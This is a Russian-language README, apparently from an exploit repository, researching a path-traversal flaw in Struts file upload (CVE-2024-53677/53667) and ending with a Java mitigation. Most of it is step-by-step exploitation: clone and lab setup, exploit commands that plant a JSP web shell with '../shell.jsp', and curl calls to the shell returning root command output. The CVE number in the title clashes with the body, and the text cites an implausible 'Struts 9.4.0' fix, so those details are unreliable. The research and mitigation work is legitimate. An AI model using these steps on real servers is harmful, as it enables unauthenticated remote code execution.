
Исследование вариантов эксплуатации CVE-2024-53667 и их устранение
Недостаток заключается в том, как FileUploadInterceptor в Struts передает имя загружаемого файла классу действия. Обычно перехватчик очищает имя файла, но Struts также позволяет любому multipart-параметру обрабатываться как OGNL-выражение через ParametersInterceptor. Отправка top.UploadFileName (или uploadFileName[0] для действий с несколькими файлами) в качестве поля формы напрямую вызывает action.setUploadFileName(value) через OGNL, переопределяя то, что установил перехватчик.
Затем действие записывает файл без очистки пути:
String uploadDir = "webapps/ROOT/uploads"; // относительно CWD Tomcat /usr/local/tomcat/
File destFile = new File(uploadDirectory, uploadFileName); // нет очистки
Отправка ../shell.jsp в качестве имени файла преобразуется в:
/usr/local/tomcat/webapps/ROOT/uploads/../shell.jsp
= /usr/local/tomcat/webapps/ROOT/shell.jsp ← доступно по http://localhost:8080/shell.jsp
Загрузка туда JSP-веб-шелла дает неаутентифицированное удаленное выполнение кода (RCE).
Исследуются два эксплойта, связанные с этой уязвимостью:
Лабораторный сервер приложений Tomcat, используемый в качестве цели для обоих эксплойтов, взят из первого репозитория и работает в контейнере (docker или podman).
Другой эксплойт предоставлен в этом репозитории как Java-версия poc.py, который происходит из второго источника.
Тонкое различие между двумя эксплойтами показано в таблице сравнения в конце этого документа.
Оба эксплойта подтверждено работают на Struts 6.3.0.2.
Однако, когда мы обновили Struts до 6.8.0 или 6.9.0, первый эксплойт (CVE-2024-53677.py) перестал работать - из-за исправления в Struts 9.4.0.
Второй эксплойт (StrutsExploitRunner) работает на всех версиях 6.3.0.2, 6.8.0, 6.9.0, если только эксплуатируемый код приложения не обновлен, как рекомендовано ниже в разделе «Смягчение последствий».
Смотрите технические детали исследования ниже.
Клонируйте первый репозиторий и перейдите в его корневой каталог:
git clone https://github.com/EQSTLab/CVE-2024-53677
cd CVE-2024-53677
Вам понадобится docker (изначально) или podman (использовался в нашем исследовании) для сборки и запуска эксплуатируемого лабораторного Tomcat:
cd docker
podman build --ulimit nofile=122880:122880 -m 3G -t exploit .
podman run -p 8080:8080 --ulimit nofile=122880:122880 -m 3G --rm -it --name exploit exploit
Запустите скрипты эксплойта, как описано ниже, в отдельной оболочке из корневого каталога репозитория с активированным виртуальным окружением Python.
Загружает JSP-веб-шелл на /upload.action, используя top.UploadFileName для внедрения имени файла с обходом пути. Жестко запрограммированный веб-шелл принимает команды через ?action=cmd&cmd=<command>.
python CVE-2024-53677.py -u http://localhost:8080/upload.action -p ../shell.jsp
-p — это значение, передаваемое как top.UploadFileName. Одного ../ достаточно, чтобы выйти из каталога uploads/ и поместить файл в корень веб-сервера.
curl "http://localhost:8080/shell.jsp?action=cmd&cmd=id"
# uid=0(root) gid=0(root) groups=0(root)
Обратите внимание на обязательный параметр action=cmd — жестко запрограммированный веб-шелл проверяет его перед выполнением команды. Без него вы получите Unknown action. вместо вывода.
python CVE-2024-53677.py \
-u http://localhost:8080/upload.action \
-p ../shell.jsp \
-f ./my_payload.jsp
Целится на /uploads.action (вариант с несколькими файлами) и устанавливает uploadFileName[0] через OGNL в значение обхода пути. Тот же базовый обход, другое имя параметра и класс действия.
Вам понадобится JDK 17 или новее для сборки и запуска эксплойта (бинарный файл java должен быть в вашем PATH).
Выполните следующую команду в корне этого репозитория для сборки исполняемого uber-jar:
./mvnw clean package
java -jar target/exploit-1.0-SNAPSHOT.jar \
-u http://localhost:8080 \
--upload_endpoint /uploads.action \
--paths .. \
--filenames shell.jsp
--filenames фиксирует имя файла, чтобы вы знали, откуда его получить. Без него скрипт генерирует случайные имена, которые выводятся в вывод.
Веб-шелл, загруженный этим приложением, использует более простой интерфейс ?cmd=:
curl "http://localhost:8080/shell.jsp?cmd=id"
# uid=0(root) gid=0(root) groups=0(root)
Каноническое исправление — обновление до Struts 7.x, которое полностью переработало механизм загрузки файлов. Если такое обновление невозможно (совместимость с JDK 8, ограничения сторонних зависимостей), можно применить указанное ниже смягчение.
Это самое надежное исправление, потому что оно работает независимо от того, что передает любой перехватчик. Удалите все компоненты пути из имени файла перед построением целевого пути, затем убедитесь, что разрешенный путь все еще находится внутри предполагаемого каталога.
import java.nio.file.Paths;
public String doUpload() {
if (upload != null && upload.length() > 0) {
try {
File uploadDirectory = new File("/var/app/uploads");
if (!uploadDirectory.exists()) uploadDirectory.mkdirs();
// Удаление любых компонентов пути, внедренных атакующим через top.UploadFileName
String safeFileName = Paths.get(uploadFileName).getFileName().toString();
File destFile = new File(uploadDirectory, safeFileName);
// Подтверждение, что разрешенный путь все еще находится внутри каталога загрузки
String canonicalDest = destFile.getCanonicalPath();
String canonicalBase = uploadDirectory.getCanonicalPath();
if (!canonicalDest.startsWith(canonicalBase + File.separator)) {
addActionError("Недопустимый путь загрузки.");
return ERROR;
}
// ... копирование байтов как раньше
Paths.get("../shell.jsp").getFileName() возвращает shell.jsp, поэтому даже если top.UploadFileName передает строку обхода, она сводится к простому имени файла до выполнения любых операций ввода-вывода.
Тот же шаблон применяется к UploadsAction — примените его внутри цикла for для каждого uploadFileName.get(i).
| CVE-2024-53677.py | StrutsExploitRunner |
|---|
| Конечная точка | /upload.action | /uploads.action |
| Параметр OGNL | top.UploadFileName | uploadFileName[0] |
| Класс действия | UploadAction (один файл) | UploadsAction (несколько файлов) |
| Вызов веб-шелла | ?action=cmd&cmd=<cmd> | ?cmd=<cmd> |
| Ошибка пути по умолчанию | нет | значение по умолчанию --paths слишком глубокое, переопределите с помощью .. |